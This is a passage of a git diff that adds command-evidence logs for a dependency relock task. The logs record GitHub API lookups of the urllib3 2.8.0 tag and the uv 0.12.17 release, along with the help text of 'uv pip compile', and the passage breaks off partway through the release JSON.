+{"node_id":"TA_kwDOACTItNoAKDJmOTgwYjQzM2E4OTM5OWFkNWVmZDcyZTdmNmRhMDRlNjY3ZWEyODc","sha":"2f980b433a89399ad5efd72e7f6da04e667ea287","url":"https://api.github.com/repos/urllib3/urllib3/git/tags/2f980b433a89399ad5efd72e7f6da04e667ea287","tagger":{"name":"Illia Volochii","email":"illia.volochii@gmail.com","date":"2026-09-15T19:19:34Z"},"object":{"sha":"b1d30ab61fe0db8f11092805e8c5ac43e091064a","type":"commit","url":"https://api.github.com/repos/urllib3/urllib3/git/commits/b1d30ab61fe0db8f11092805e8c5ac43e091064a"},"tag":"2.8.0","message":"Release: 2.8.0\n-----BEGIN SSH SIGNATURE-----\nU1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAgiigTZzMdp4pM2rKiIz0PJI1AYi\n++6gp/9ILUNhbncdUAAAADZ2l0AAAAAAAAAAZzaGE1MTIAAABTAAAAC3NzaC1lZDI1NTE5\nAAAAQAqSPR82mjBBvVKIB+p+AFPnAbERN0NiG7s7e+2fx1YJfG6pPl2qcnLmRNuGtd/u/E\njWitOGMsdM9PVp3vkckgs=\n-----END SSH SIGNATURE-----\n","verification":{"verified":true,"reason":"valid","signature":"-----BEGIN SSH SIGNATURE-----\nU1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAgiigTZzMdp4pM2rKiIz0PJI1AYi\n++6gp/9ILUNhbncdUAAAADZ2l0AAAAAAAAAAZzaGE1MTIAAABTAAAAC3NzaC1lZDI1NTE5\nAAAAQAqSPR82mjBBvVKIB+p+AFPnAbERN0NiG7s7e+2fx1YJfG6pPl2qcnLmRNuGtd/u/E\njWitOGMsdM9PVp3vkckgs=\n-----END SSH SIGNATURE-----\n","payload":"object b1d30ab61fe0db8f11092805e8c5ac43e091064a\ntype commit\ntag 2.8.0\ntagger Illia Volochii 1789499974 +0300\n\nRelease: 2.8.0\n","verified_at":"2026-09-15T19:21:15Z"}} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt new file mode 100644 index 000000000..b99355c17 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/urllib3/urllib3/git/ref/tags/2.8.0"] +cwd: +started_utc: 2026-09-30T15:44:07.165596+00:00 +ended_utc: 2026-09-30T15:44:07.499490+00:00 +exit_code: 0 + +stdout: +{"ref":"refs/tags/2.8.0","node_id":"MDM6UmVmMjQxMDY3NjpyZWZzL3RhZ3MvMi44LjA=","url":"https://api.github.com/repos/urllib3/urllib3/git/refs/tags/2.8.0","object":{"sha":"2f980b433a89399ad5efd72e7f6da04e667ea287","type":"tag","url":"https://api.github.com/repos/urllib3/urllib3/git/tags/2f980b433a89399ad5efd72e7f6da04e667ea287"}} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt new file mode 100644 index 000000000..25b5a4e1e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt @@ -0,0 +1,234 @@ +argv: ["rtk", "proxy", "uv", "pip", "compile", "--help"] +cwd: +started_utc: 2026-09-30T15:44:06.417375+00:00 +ended_utc: 2026-09-30T15:44:06.447113+00:00 +exit_code: 0 + +stdout: +Compile a `requirements.in` file to a `requirements.txt` or `pylock.toml` file + +Usage: uv pip compile [OPTIONS] > + +Arguments: + [SRC_FILE]... Include the packages listed in the given files + +Options: + -c, --constraints + Constrain versions using the given requirements files [env: UV_CONSTRAINT=] + --overrides + Override versions using the given requirements files [env: UV_OVERRIDE=] + --excludes + Exclude packages from resolution using the given requirements files [env: UV_EXCLUDE=] + -b, --build-constraints + Constrain build dependencies using the given requirements files when building source + distributions [env: UV_BUILD_CONSTRAINT=] + --extra + Include optional dependencies from the specified extra name; may be provided more than + once + --all-extras + Include all optional dependencies + --group + Install the specified dependency group from a `pyproject.toml` + --cert + Path to a PEM-encoded CA certificate bundle + --no-deps + Ignore package dependencies, instead only add those packages explicitly listed on the + command line to the resulting requirements file + -o, --output-file + Write the compiled requirements to the given `requirements.txt` or `pylock.toml` file + --format + The format in which the resolution should be output [possible values: requirements.txt, + pylock.toml] + --no-strip-extras + Include extras in the output file + --no-strip-markers + Include environment markers in the output file + --no-annotate + Exclude comment annotations indicating the source of each package + --no-header + Exclude the comment header at the top of the generated output file + --annotation-style + The style of the annotation comments included in the output file, used to indicate the + source of each package [possible values: line, split] + --custom-compile-command + The header comment to include at the top of the output file generated by `uv pip compile` + [env: UV_CUSTOM_COMPILE_COMMAND=] + --system + Install packages into the system Python environment [env: UV_SYSTEM_PYTHON=] + --generate-hashes + Include distribution hashes in the output file + --no-build + Don't build source distributions + --no-binary + Don't install pre-built wheels + --only-binary + Only use pre-built wheels; don't build source distributions + --python-platform + The platform for which requirements should be resolved [possible values: windows, linux, + macos, x86_64-pc-windows-msvc, aarch64-pc-windows-msvc, i686-pc-windows-msvc, + x86_64-unknown-linux-gnu, aarch64-apple-darwin, x86_64-apple-darwin, + aarch64-unknown-linux-gnu, aarch64-unknown-linux-musl, x86_64-unknown-linux-musl, + riscv64-unknown-linux, x86_64-manylinux2014, x86_64-manylinux_2_17, x86_64-manylinux_2_28, + x86_64-manylinux_2_31, x86_64-manylinux_2_32, x86_64-manylinux_2_33, + x86_64-manylinux_2_34, x86_64-manylinux_2_35, x86_64-manylinux_2_36, + x86_64-manylinux_2_37, x86_64-manylinux_2_38, x86_64-manylinux_2_39, + x86_64-manylinux_2_40, aarch64-manylinux2014, aarch64-manylinux_2_17, + aarch64-manylinux_2_28, aarch64-manylinux_2_31, aarch64-manylinux_2_32, + aarch64-manylinux_2_33, aarch64-manylinux_2_34, aarch64-manylinux_2_35, + aarch64-manylinux_2_36, aarch64-manylinux_2_37, aarch64-manylinux_2_38, + aarch64-manylinux_2_39, aarch64-manylinux_2_40, aarch64-linux-android, + x86_64-linux-android, wasm32-pyodide2024, wasm32-pyodide2025, arm64-apple-ios, + arm64-apple-ios-simulator, x86_64-apple-ios-simulator] + --universal + Perform a universal resolution, attempting to generate a single `requirements.txt` output + file that is compatible with all operating systems, architectures, and Python + implementations + --no-emit-package + Specify a package to omit from the output resolution. Its dependencies will still be + included in the resolution. Equivalent to pip-compile's `--unsafe-package` option + --emit-index-url + Include `--index-url` and `--extra-index-url` entries in the generated output file + --emit-find-links + Include `--find-links` entries in the generated output file + --emit-build-options + Include `--no-binary` and `--only-binary` entries in the generated output file + --emit-index-annotation + Include comment annotations indicating the index used to resolve each package (e.g., `# + from https://pypi.org/simple`) + --torch-backend + The backend to use when fetching packages in the PyTorch ecosystem (e.g., `cpu`, `cu126`, + or `auto`) [env: UV_TORCH_BACKEND=] [possible values: auto, cpu, cu132, cu130, cu129, + cu128, cu126, cu125, cu124, cu123, cu122, cu121, cu120, cu118, cu117, cu116, cu115, cu114, + cu113, cu112, cu111, cu110, cu102, cu101, cu100, cu92, cu91, cu90, cu80, rocm7.2, rocm7.1, + rocm7.0, rocm6.4, rocm6.3, rocm6.2.4, rocm6.2, rocm6.1, rocm6.0, rocm5.7, rocm5.6, + rocm5.5, rocm5.4.2, rocm5.4, rocm5.3, rocm5.2, rocm5.1.1, rocm4.2, rocm4.1, rocm4.0.1, + xpu] + +Index options: + --index + The indexes to use when resolving dependencies, in addition to the default index [env: + UV_INDEX] + --default-index + The default package index (by default: ) [env: UV_DEFAULT_INDEX] + -i, --index-url + (Deprecated: use `--default-index` instead) The URL of the Python package index (by + default: ) [env: UV_INDEX_URL] + --extra-index-url + (Deprecated: use `--index` instead) Extra URLs of package indexes to use, in addition to + `--index-url` [env: UV_EXTRA_INDEX_URL] + -f, --find-links + Locations to search for candidate distributions, in addition to those found in the + registry indexes [env: UV_FIND_LINKS] + --no-index + Ignore the registry index (e.g., PyPI), instead relying on direct URL dependencies and + those provided via `--find-links` + --index-strategy + The strategy to use when resolving against multiple index URLs [env: UV_INDEX_STRATEGY=] + [possible values: first-index, unsafe-first-match, unsafe-best-match] + --keyring-provider + Attempt to use `keyring` for authentication for index URLs [env: UV_KEYRING_PROVIDER=] + [possible values: disabled, subprocess] + +Resolver options: + -U, --upgrade + Allow package upgrades, ignoring pinned versions in any existing output file. Implies + `--refresh` + -P, --upgrade-package + Allow upgrades for a specific package, ignoring pinned versions in any existing output + file. Implies `--refresh-package` + --upgrade-group + Allow upgrades for all packages in a dependency group, ignoring pinned versions in any + existing output file + --resolution + The strategy to use when selecting between the different compatible versions for a given + package requirement [env: UV_RESOLUTION=] [possible values: highest, lowest, + lowest-direct] + --prerelease + The strategy to use when considering pre-release versions [env: UV_PRERELEASE=] [possible + values: disallow, allow, if-necessary, explicit, if-necessary-or-explicit] + --prerelease-package + The strategy to use when considering pre-release versions for a specific package + --fork-strategy + The strategy to use when selecting multiple versions of a given package across Python + versions and platforms [env: UV_FORK_STRATEGY=] [possible values: fewest, requires-python] + --exclude-newer + Limit candidate packages to those that were uploaded prior to the given date [env: + UV_EXCLUDE_NEWER=] + --exclude-newer-package + Limit candidate packages for specific packages to those that were uploaded prior to the + given date + --no-sources + Ignore the `tool.uv.sources` table when resolving dependencies. Used to lock against the + standards-compliant, publishable package metadata, as opposed to using any workspace, Git, + URL, or local path sources [env: UV_NO_SOURCES=] + --no-sources-package + Don't use sources from the `tool.uv.sources` table for the specified packages [env: + `UV_NO_SOURCES_PACKAGE`=] + +Build options: + -C, --config-setting + Settings to pass to the PEP 517 build backend, specified as `KEY=VALUE` pairs + --config-settings-package + Settings to pass to the PEP 517 build backend for a specific package, specified as + `PACKAGE:KEY=VALUE` pairs + --no-build-isolation + Disable isolation when building source distributions [env: UV_NO_BUILD_ISOLATION=] + --no-build-isolation-package + Disable isolation when building source distributions for a specific package + +Installer options: + --link-mode The method to use when installing packages from the global cache + [env: UV_LINK_MODE=] [possible values: clone, copy, hardlink, + symlink] + +Cache options: + -n, --no-cache + Avoid reading from or writing to the cache, instead using a temporary directory for the + duration of the operation [env: UV_NO_CACHE=] + --cache-dir + Path to the cache directory [env: UV_CACHE_DIR=] + --refresh + Refresh all cached data + --refresh-package + Refresh cached data for a specific package + +Python options: + -p, --python + The Python interpreter to use during resolution. + --python-version + The Python version to use for resolution + --managed-python + Require use of uv-managed Python versions [env: UV_MANAGED_PYTHON=] + --no-managed-python + Disable use of uv-managed Python versions [env: UV_NO_MANAGED_PYTHON=] + --no-python-downloads + Disable automatic downloads of Python. [env: "UV_PYTHON_DOWNLOADS=never"] + +Global options: + -q, --quiet... + Use quiet output + -v, --verbose... + Use verbose output + --color + Control the use of color in output [possible values: auto, always, never] + --system-certs + Whether to load TLS certificates from the platform's native certificate store [env: + UV_SYSTEM_CERTS=] + --offline + Disable network access [env: UV_OFFLINE=] + --allow-insecure-host + Allow insecure connections to a host [env: UV_INSECURE_HOST=] + --no-progress + Hide all progress outputs [env: UV_NO_PROGRESS=] + --directory + Change to the given directory prior to running the command [env: UV_WORKING_DIR=] + --project + Discover a project in the given directory [env: UV_PROJECT=] + --config-file + The path to a `uv.toml` file to use for configuration [env: UV_CONFIG_FILE=] + -h, --help + Display the concise help for this command + +Use `uv help pip compile` for more details. + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt new file mode 100644 index 000000000..f0ca660e2 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "gh", "api", "repos/astral-sh/uv/releases/tags/0.12.17"] +cwd: +started_utc: 2026-09-30T15:44:06.448187+00:00 +ended_utc: 2026-09-30T15:44:06.808626+00:00 +exit_code: 0 + +stdout: +{"url":"https://api.github.com/repos/astral-sh/uv/releases/391716851","assets_url":"https://api.github.com/repos/astral-sh/uv/releases/391716851/assets","upload_url":"https://uploads.github.com/repos/astral-sh/uv/releases/391716851/assets{?name,label}","html_url":"https://github.com/astral-sh/uv/releases/tag/0.12.17","id":391716851,"author":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"node_id":"RE_kwDOKbIFZc4XWR_z","tag_name":"0.12.17","target_commitish":"635500036e1705961315e86447f0fab0a8ddb309","name":"0.12.17","draft":false,"immutable":true,"prerelease":false,"created_at":"2026-09-18T18:09:21Z","updated_at":"2026-09-18T18:59:24Z","published_at":"2026-09-18T18:59:24Z","assets":[{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252893","id":573252893,"node_id":"RA_kwDOKbIFZc4iKyUd","name":"dist-manifest.json","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/json","state":"uploaded","size":46717,"digest":"sha256:5bf3478702aa936221565642ea2b65329445524a8252164d5802910eca52933e","download_count":369,"created_at":"2026-09-18T18:59:16Z","updated_at":"2026-09-18T18:59:16Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/dist-manifest.json"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252909","id":573252909,"node_id":"RA_kwDOKbIFZc4iKyUt","name":"sha256.sum","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":1901,"digest":"sha256:c9745edca267c451050799a893cf03aa74050069b0f84b60520283a311a9c9cf","download_count":1402,"created_at":"2026-09-18T18:59:16Z","updated_at":"2026-09-18T18:59:17Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/sha256.sum"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252896","id":573252896,"node_id":"RA_kwDOKbIFZc4iKyUg","name":"source.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":8691602,"digest":"sha256:1223a372ecaf506bbef2dd0aa3976e8932a840bcba446b25f42caf35b2f202ba","download_count":529,"created_at":"2026-09-18T18:59:16Z","updated_at":"2026-09-18T18:59:17Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/source.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252899","id":573252899,"node_id":"RA_kwDOKbIFZc4iKyUj","name":"source.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":81,"digest":"sha256:18b853dc32997a372903ef48f63e174aa753ca168e37bdedaade213a687c3817","download_count":330,"created_at":"2026-09-18T18:59:16Z","updated_at":"2026-09-18T18:59:16Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/source.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252913","id":573252913,"node_id":"RA_kwDOKbIFZc4iKyUx","name":"uv-aarch64-apple-darwin.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":16929004,"digest":"sha256:85f00cbdc6dd3e97eba4c31b4d014375a9fdfe8f570023b84e5102fc3456896b","download_count":161160,"created_at":"2026-09-18T18:59:16Z","updated_at":"2026-09-18T18:59:17Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-aarch64-apple-darwin.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252922","id":573252922,"node_id":"RA_kwDOKbIFZc4iKyU6","name":"uv-aarch64-apple-darwin.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":97,"digest":"sha256:d13a23cee43f4b3bfe0768c62156cbbda0c52aeb4ca2eaadbda025af36d50cd0","download_count":2254,"created_at":"2026-09-18T18:59:17Z","updated_at":"2026-09-18T18:59:17Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-aarch64-apple-darwin.tar.gz.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252919","id":573252919,"node_id":"RA_kwDOKbIFZc4iKyU3","name":"uv-aarch64-pc-windows-msvc.zip","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/zip","state":"uploaded","size":19188769,"digest":"sha256:3e1aa6849d77f0e00dc865e4afab5c5b32de053e21fe35bf5ad5cec3734ec976","download_count":2556,"created_at":"2026-09-18T18:59:17Z","updated_at":"2026-09-18T18:59:17Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-aarch64-pc-windows-msvc.zip"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252933","id":573252933,"node_id":"RA_kwDOKbIFZc4iKyVF","name":"uv-aarch64-pc-windows-msvc.zip.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":97,"digest":"sha256:1ad31efa5f6cde26789c89ab0af6ead09663b0d13fc0bd69d839ef96b48bff5f","download_count":471,"created_at":"2026-09-18T18:59:17Z","updated_at":"2026-09-18T18:59:17Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-aarch64-pc-windows-msvc.zip.sha256"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252936","id":573252936,"node_id":"RA_kwDOKbIFZc4iKyVI","name":"uv-aarch64-unknown-linux-gnu.tar.gz","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/x-gtar","state":"uploaded","size":18965833,"digest":"sha256:d636d1b678e9e7f367ecb22b46bd1cabbed234d6bc3b4d96365d2b507f72f86c","download_count":206563,"created_at":"2026-09-18T18:59:17Z","updated_at":"2026-09-18T18:59:18Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-aarch64-unknown-linux-gnu.tar.gz"},{"url":"https://api.github.com/repos/astral-sh/uv/releases/assets/573252943","id":573252943,"node_id":"RA_kwDOKbIFZc4iKyVP","name":"uv-aarch64-unknown-linux-gnu.tar.gz.sha256","label":"","uploader":{"login":"astral-releases-bot[bot]","id":328004183,"node_id":"BOT_kgDOE4zyVw","avatar_url":"https://avatars.githubusercontent.com/in/4910330?v=4","gravatar_id":"","url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D","html_url":"https://github.com/apps/astral-releases-bot","followers_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/followers","following_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/repos","events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/astral-releases-bot%5Bbot%5D/received_events","type":"Bot","user_view_type":"public","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":102,"digest":"sha256:d14c6fe786f1f500d8fb31059dde544e49075bc587d87791611ba9bfe7e48f13","download_count":2351,"created_at":"2026-09-18T18:59:17Z","updated_at":"2026-09-18T18:59:17Z","browser_download_url":"https://github.com/astral-sh/uv/releases/download/0.12.17/uv-aarch64-unknown-linux-gnu.tar.